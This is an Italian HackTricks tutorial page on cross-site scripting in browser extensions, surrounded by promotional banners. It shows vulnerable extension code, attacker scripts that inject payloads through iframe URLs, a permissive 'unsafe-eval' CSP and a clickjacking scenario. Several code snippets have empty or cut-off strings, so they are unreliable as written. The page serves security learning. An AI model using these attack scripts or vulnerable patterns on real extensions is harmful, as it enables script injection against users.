# BrowExt - Esempio di XSS
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Cross-Site Scripting (XSS) tramite Iframe In questa configurazione, uno **script di contenuto** viene implementato per istanziare un Iframe, incorporando un URL con parametri di query come origine dell'Iframe: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details"; frame.src = constructedURL; }); ``` Una pagina HTML accessibile pubblicamente, **`message.html`**, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri presenti nell'URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); let userContent = urlParams.get("content"); $(document.body).html(`${userContent} `); $('#detailBtn').on('click', () => { let destinationURL = urlParams.get("redirect"); chrome.tabs.create({ url: destinationURL }); }); }); ``` Un script maligno viene eseguito su una pagina dell'avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Ciò viene ottenuto aggiornando la sorgente dell'Iframe per includere uno script dannoso: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; let baseURL = targetFrame.split('?')[0]; let xssPayload = ""; let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; document.querySelector("iframe").src = maliciousURL; }, 1000); ``` Una Content Security Policy eccessivamente permissiva come: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS. Un approccio alternativo per provocare l'XSS consiste nel creare un elemento Iframe e impostare la sua origine per includere lo script dannoso come parametro `content`: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent(""); document.body.append(newFrame); ``` ## DOM-based XSS + ClickJacking Questo esempio è stato preso dal [post originale](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) scritto da The Hacker Blog. Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata sul DOM situata in **`/html/bookmarks.html`**. Lo script JavaScript problematico, parte di **`bookmarks.js`**, è dettagliato di seguito: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); if ($('.custom-button .label').filter(function() { return $(this).text() === bookmarkName; }).length) return false; var bookmarkItem = $('
'); bookmarkItem.html('' + bookmarkName + ''); bookmarkItem.append(''); bookmarkItem.attr('data-title', bookmarkName); bookmarkItem.data('timestamp', (new Date().getTime())); $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` Questo frammento recupera il **valore** dal campo di input **`txtName`** e utilizza la **concatenazione di stringhe per generare HTML**, che viene quindi aggiunto al DOM utilizzando la funzione `.append()` di jQuery. Di solito, la Content Security Policy (CSP) dell'estensione di Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa del **rilassamento della CSP con 'unsafe-eval'** e dell'uso dei metodi di manipolazione del DOM di jQuery (che utilizzano [`globalEval()`](https://api.jquery.com/jquery.globaleval/) per passare script a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) durante l'inserimento nel DOM), l'exploit è comunque possibile. Sebbene questa vulnerabilità sia significativa, la sua sfruttabilità dipende solitamente dall'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante "Aggiungi". Per migliorare questa vulnerabilità, viene sfruttata una secondaria vulnerabilità di **clickjacking**. Il manifesto dell'estensione di Chrome mostra una politica `web_accessible_resources` estesa: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` In particolare, la pagina **`/html/bookmarks.html`** è vulnerabile al framing, quindi suscettibile a **clickjacking**. Questa vulnerabilità viene sfruttata per incorniciare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante. ## Riferimenti * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).